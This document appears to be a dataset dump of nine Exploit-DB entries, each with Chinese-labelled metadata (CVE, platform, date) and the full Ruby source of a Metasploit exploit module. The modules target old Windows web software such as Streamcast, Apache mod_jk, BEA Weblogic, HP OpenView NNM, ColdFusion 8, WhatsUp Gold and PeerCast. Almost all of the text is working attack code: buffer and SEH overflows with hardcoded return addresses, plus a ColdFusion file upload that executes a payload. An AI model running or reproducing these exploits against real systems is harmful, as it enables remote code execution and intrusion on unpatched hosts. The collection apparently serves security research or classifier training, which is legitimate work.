QLWD/code_shield huggingface dataset:
标题: Streamcast 0.9.75 - HTTP User-Agent Buffer Overflow (Metasploit) EDB-ID: 16800 CVE: 2008-0550 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-11 漏洞利用脚本: ##
# $Id: steamcast_useragent.rb 9488 2010-06-11 16:12:05Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Streamcast <= 0.9.75 HTTP User-Agent Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Streamcast <= 0.9.75. By sending
     an overly long User-Agent in an HTTP GET request, an attacker may be able to
     execute arbitrary code.
   },
   'Author'         =>  [
        'LSO <lso[@]hushmail.com>', # Original exploit module
        'patrick' # Added references and check code. Default target to XP.
       ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9488 $',
   'References'     =>
    [
     [ 'CVE', '2008-0550' ],
     [ 'OSVDB', '42670' ],
     [ 'URL', 'http://aluigi.altervista.org/adv/steamcazz-adv.txt'],
     # [ 'BID', '' ], # No entry as yet
    ],
   'Privileged'     => false,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'DisableNops'  =>  'True',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Tested OK by patrick 20090225
     [ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
     [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
    ],
   'DisclosureDate' => 'Jan 24 2008',
   'DefaultTarget' => 1))

   register_options([ Opt::RPORT(8000) ], self)
 end

 def check
  connect
  sock.put("GET / HTTP/1.0\r\n\r\n")
  res = sock.get(-1, 3)
  disconnect

  if (res =~ /Steamcast\/0.9.75/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  juju =  "GET / HTTP/1.0\r\n"
  juju << "User-Agent: " + make_nops(1008 - payload.encoded.length)
  juju << payload.encoded + Rex::Arch::X86.jmp_short(6) + make_nops(2)
  juju << [ target.ret ].pack('V') + [0xe8, -850].pack('CV')
  juju <<  rand_text_alpha_upper(275)

  print_status("Trying target #{target.name}...")
  sock.put(juju + "\r\n\r\n")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16800
标题: Apache Tomcat mod_jk 1.2.20 - Remote Buffer Overflow (Metasploit) EDB-ID: 16798 CVE: 2007-0774 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-25 漏洞利用脚本: ##
# $Id: apache_modjk_overflow.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Apache mod_jk 1.2.20 Buffer Overflow',
   'Description'    => %q{
     This is a stack buffer overflow exploit for mod_jk 1.2.20.
    Should work on any Win32 OS.
   },
   'Author'         => 'Nicob <nicob[at]nicob.net>',
   'Version'        => '$Revision: 9929 $',
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2007-0774' ],
     [ 'OSVDB', '33855' ],
     [ 'BID', '22791' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-008.html' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 4000,
     'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2f\x3b\x3f\x5c",
     'DisableNops' => true
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3)
     ['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Mar 02 2007'))

  register_options(
   [
    Opt::RPORT(80)
   ], self.class)
 end

 def check
  connect

  sock.put("GET / HTTP/1.0\r\n\r\n")
  resp = sock.get_once
  disconnect

   if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1.2.20/))) then
    print_status("Apache version detected : #{m[1]}")
    return Exploit::CheckCode::Appears
   else
    return Exploit::CheckCode::Safe
   end
 end

 def exploit
  connect

  uri_start  = "GET /"
  uri_end    = ".html HTTP/1.0\r\n\r\n"
  sc_base    = 16

  shellcode  = payload.encoded
  sploit     = rand_text_alphanumeric(5001)
  sploit[sc_base, shellcode.length] = shellcode

  # 4343 : Apache/1.3.37 (Win32) mod_jk/1.2.20
  # 4407 : Apache/2.0.59 (Win32) mod_jk/1.2.20
  # 4423 : Apache/2.2.3  (Win32) mod_jk/1.2.20

  [ 4343, 4407, 4423 ].each { |seh_offset|
   sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
   sploit[seh_offset - 4, 2] = "\xeb\xf9"
   sploit[seh_offset    , 4] = [ target.ret ].pack('V')
  }

  print_status("Trying target #{target.name}...")
  sock.put(uri_start + sploit + uri_end)

  resp = sock.get_once
  if (resp and (m = resp.match(/<title>(.*)<\/title>/i)))
   print_error("The exploit failed : HTTP Status Code '#{m[1]}' received :-(")
  end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16798
标题: Webster HTTP Server - GET Buffer Overflow (Metasploit) EDB-ID: 16802 CVE: 2002-2268 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-03 漏洞利用脚本: ##
# $Id: webster_http.rb 10887 2010-11-03 12:19:19Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Webster HTTP Server GET Buffer Overflow',
   'Description'    => %q{
     This exploits a stack buffer overflow in the Webster HTTP server.
     The server and source code was released within an article from
     the Microsoft Systems Journal in February 1996 titled "Write a
     Simple HTTP-based Server Using MFC and Windows Sockets".
   },
   'Author'         => [ 'patrick' ],
   'Version'        => '$Revision: 10887 $',
   'References'     =>
    [
     [ 'CVE', '2002-2268' ],
     [ 'OSVDB', '44106' ],
     [ 'BID', '6289' ],
     [ 'URL', 'http://www.microsoft.com/msj/archive/s25f.aspx' ],
     [ 'URL', 'http://www.netdave.com/webster/webster.htm' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
     'BadChars'    => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0',  { 'Ret' => 0x71aa32ad } ] , # pop esi; pop ebx; ret ws2help.dll winxp
     [ 'Debug',   { 'Ret' => 0x44434241 } ] , # todo - add more targets.
    ],
   'DisclosureDate' => 'Dec 02 2002',
   'DefaultTarget'  => 0))
 end

 def exploit
  print_status("Sending request...")
  seh = generate_seh_payload(target.ret)

  send_request_raw({
   'uri' => "/" + Rex::Text.rand_text_alphanumeric(266) + seh
  }, 2)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16802
标题: BEA Weblogic - Transfer-Encoding Buffer Overflow (Metasploit) EDB-ID: 16796 CVE: 2008-4008 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-08 漏洞利用脚本: ##
# $Id: bea_weblogic_transfer_encoding.rb 9744 2010-07-08 23:34:50Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 HttpFingerprint = { :pattern => [ /Apache/ ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BEA Weblogic Transfer-Encoding Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack based buffer overflow in the BEA
    Weblogic Apache plugin.  This vulnerability exists in the
    error reporting for unknown Transfer-Encoding headers.
    You may have to run this twice due to timing issues with handlers.
   },
   'Author'         => 'pusscat',
   'Version'        => '$Revision: 9744 $',
   'References'     =>
    [
     [ 'CVE', '2008-4008' ],
     [ 'OSVDB', '49283' ],
     [ 'URL', 'http://support.bea.com/application_content/product_portlets/securityadvisories/2806.html'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Privileged'     => true,
   'Platform'       => 'win',
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x0d\x0a",
     'StackAdjustment' => -1500,
    },
   'Targets'        =>
    [
     [  'Windows Apache 2.2 version Universal',
      {
       'Ret' => 0x1001f4d6,    #pop/pop/ret
      }
     ],
    ],
   'DisclosureDate' => 'Sept 09 2008',
   'DefaultTarget'  => 0))
 end

 def exploit

  sploit = rand_text_alphanumeric(5800)
  sploit[5781, 8] = generate_seh_record(target.ret)
  # Jump backward to the payload
  sploit[5789, 5] = "\xe9\x5e\xe9\xff\xff"
  sploit[0, payload.encoded.length+7] = make_nops(7) + payload.encoded

  datastore['VHOST'] = 'localhost'
  send_request_cgi(
   {
    'method'  => 'POST',
    'url'     => '/index.jsp',
    'data'    => '',
    'headers' =>
     {
      'Transfer-Encoding' => sploit
     }
   })

  handler

 end

end URL: https://www.exploit-db.com/exploits/16796
标题: HP OpenView Network Node Manager (OV NNM) - 'OvWebHelp.exe' CGI Buffer Overflow (Metasploit) EDB-ID: 16792 CVE: 2009-4178 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-11 漏洞利用脚本: ##
# $Id: hp_nnm_ovwebhelp.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP OpenView Network Node Manager OvWebHelp.exe CGI Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.
    By sending a specially crafted CGI request to OvWebHelp.exe, an attacker may be able to execute
    arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10998 $',
   'References'     =>
    [
     [ 'CVE', '2009-4178' ],
     [ 'OSVDB', '60929' ],
     [ 'BID', '37340' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 650,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'HP OpenView Network Node Manager 7.50', { 'Ret' => 0x5a01d78d } ], # ov.dll
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Dec 9 2009'))

  register_options( [ Opt::RPORT(80) ], self.class )
 end

 def exploit

  sploit = rand_text_alpha_upper(5123) + [target.ret].pack('V') + payload.encoded

  print_status("Trying target #{target.name}...")

  send_request_cgi({
   'uri'  => "/OvCgi/OvWebHelp.exe",
   'method' => "POST",
   'data'  => "Topic=#{sploit}",
   }, 3)

  handler

 end

end URL: https://www.exploit-db.com/exploits/16792
标题: HP OpenView Network Node Manager (OV NNM) - 'Toolbar.exe' CGI Buffer Overflow (Metasploit) EDB-ID: 16795 CVE: 2008-0067 类型: REMOTE 平台: CGI 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: hp_nnm_toolbar.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP OpenView Network Node Manager Toolbar.exe CGI Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.
    By sending a specially crafted CGI request to Toolbar.exe, an attacker may be able to execute
    arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2008-0067' ],
     [ 'OSVDB', '53222' ],
     [ 'BID', '33147' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 650,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'HP OpenView Network Node Manager 7.50 / Windows 2000 All', { 'Ret' => 0x5a01d78d } ], # ov.dll
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jan 7 2009'))

  register_options( [ Opt::RPORT(80) ], self.class )
 end

 def exploit

  sploit = rand_text_alpha_upper(5108) + [target.ret].pack('V') + payload.encoded

  print_status("Trying target #{target.name}...")

  send_request_raw({
   'uri'  => "/OvCgi/Toolbar.exe?" + sploit,
   'method' => "GET",
   }, 5)


  handler

 end

end URL: https://www.exploit-db.com/exploits/16795
标题: ColdFusion 8.0.1 - Arbitrary File Upload / Execution (Metasploit) EDB-ID: 16788 CVE: 2009-2265 类型: WEBAPPS 平台: CFM 发布日期: 2010-11-24 漏洞利用脚本: ##
# $Id: coldfusion_fckeditor.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ColdFusion 8.0.1 Arbitrary File Upload and Execute',
   'Description'    => %q{
     This module exploits the Adobe ColdFusion 8.0.1 FCKeditor 'CurrentFolder' File Upload
    and Execute vulnerability.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11127 $',
   'Platform'       => 'win',
   'Privileged'     => true,
   'References'     =>
    [
     [ 'CVE', '2009-2265' ],
     [ 'OSVDB', '55684'],
    ],
   'Targets'        =>
    [
     [ 'Universal Windows Target',
      {
       'Arch'     => ARCH_JAVA,
       'Payload'  =>
        {
         'DisableNops' => true,
        },
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jul 3 2009'
  ))

  register_options(
   [
    Opt::RPORT(80),
    OptString.new('FCKEDITOR_DIR', [ false, 'The path to upload.cfm ', '/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm' ]),
   ], self.class )
 end

 def exploit

  page  = rand_text_alpha_upper(rand(10) + 1) + ".jsp"

  dbl = Rex::MIME::Message.new
  dbl.add_part(payload.encoded, "application/x-java-archive", nil, "form-data; name=\"newfile\"; filename=\"#{rand_text_alpha_upper(8)}.txt\"")
  file = dbl.to_s
  file.strip!

  print_status("Sending our POST request...")

  res = send_request_cgi(
   {
    'uri'  => "#{datastore['FCKEDITOR_DIR']}",
    'query'  => "Command=FileUpload&Type=File&CurrentFolder=/#{page}%00",
    'version' => '1.1',
    'method' => 'POST',
    'ctype'  => 'multipart/form-data; boundary=' + dbl.bound,
    'data'  => file,
   }, 5)

  if ( res and res.code == 200 and res.body =~ /OnUploadCompleted/ )
   print_status("Upload succeeded! Executing payload...")

   send_request_raw(
    {
     # default path in Adobe ColdFusion 8.0.1.
     'uri'  => '/userfiles/file/' + page,
     'method' => 'GET',
    }, 5)

   handler
  else
   print_error("Upload Failed...")
   return
  end

 end
end URL: https://www.exploit-db.com/exploits/16788
标题: IPSwitch WhatsUp Gold 8.03 - Remote Buffer Overflow (Metasploit) EDB-ID: 16787 CVE: 2004-0798 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-14 漏洞利用脚本: ##
# $Id: ipswitch_wug_maincfgret.rb 9820 2010-07-14 13:59:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 # [*] x.x.x.x WhatsUp_Gold/8.0 ( 401-Basic realm="WhatsUp Gold" )
 HttpFingerprint = { :pattern => [ /WhatsUp/ ] }

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Ipswitch WhatsUp Gold 8.03 Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in IPswitch WhatsUp Gold 8.03. By
    posting a long string for the value of 'instancename' in the _maincfgret.cgi
    script an attacker can overflow a buffer and execute arbitrary code on the system.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9820 $',
   'References'     =>
    [
     ['CVE', '2004-0798'],
     ['OSVDB', '9177'],
     ['BID', '11043'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'WhatsUP Gold 8.03 Universal', { 'Ret' => 0x6032e743 } ], # whatsup.dll
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 25 2004'))

  register_options(
   [
    Opt::RPORT(80),
    OptString.new('HTTPUSER', [ false, 'The username to authenticate as', 'admin']),
    OptString.new('HTTPPASS', [ false, 'The password to authenticate as', 'admin']),
   ], self.class )
 end

 def exploit
  c = connect

  num = rand(65535).to_s
  user_pass = "#{datastore['HTTPUSER']}" + ":" + "#{datastore['HTTPPASS']}"

  req   = "page=notify&origname=&action=return&type=Beeper&instancename="
  req  << rand_text_alpha_upper(811, payload_badchars) + "\xeb\x06"
  req  << make_nops(2) + [target.ret].pack('V') + make_nops(10) + payload.encoded
  req  << "&beepernumber=&upcode=" + num + "*&downcode="+ num + "*&trapcode=" + num + "*&end=end"

  print_status("Trying target %s..." % target.name)
  res = send_request_cgi({
   'uri'          => '/_maincfgret.cgi',
   'method'       => 'POST',
   'content-type' => 'application/x-www-form-urlencoded',
   'data'         => req,
   'headers'      =>
   {
    'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
   }
  }, 5)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16787
标题: PeerCast 0.1216 (Windows x86) - URL Handling Buffer Overflow (Metasploit) EDB-ID: 16786 CVE: 2006-1148 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: peercast_url.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (win32)',
   'Description'    => %q{
     This module exploits a stack buffer overflow in PeerCast <= v0.1216.
    The vulnerability is caused due to a boundary error within the
    handling of URL parameters.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2006-1148'],
     ['OSVDB', '23777'],
     ['BID', '17040'],
     ['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 English SP0-SP4', { 'Ret' => 0x75023360 }],
     ['Windows 2003 English SP0-SP1', { 'Ret' => 0x77d099e3 }],
     ['Windows XP English SP0/SP1',   { 'Ret' => 0x77dbfa2c }],
     ['Windows XP English SP0/SP2',   { 'Ret' => 0x77dc12b8 }],
    ],
   'DisclosureDate' => 'Mar 8 2006'))

  register_options( [ Opt::RPORT(7144) ], self.class )
 end

 def exploit
  connect

  pat = rand_text_alphanumeric(1024)
  pat[768, 4] = [target.ret].pack('V')
  pat[812, 5] = [0xe9, -517].pack('CV')
  pat[300, payload.encoded.length] = payload.encoded

  uri = '/stream/?' + pat

  res = "GET #{uri} HTTP/1.0\r\n\r\n"

  print_status("Trying target address 0x%.8x..." % target.ret)
  sock.put(res)
  sock.close

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16786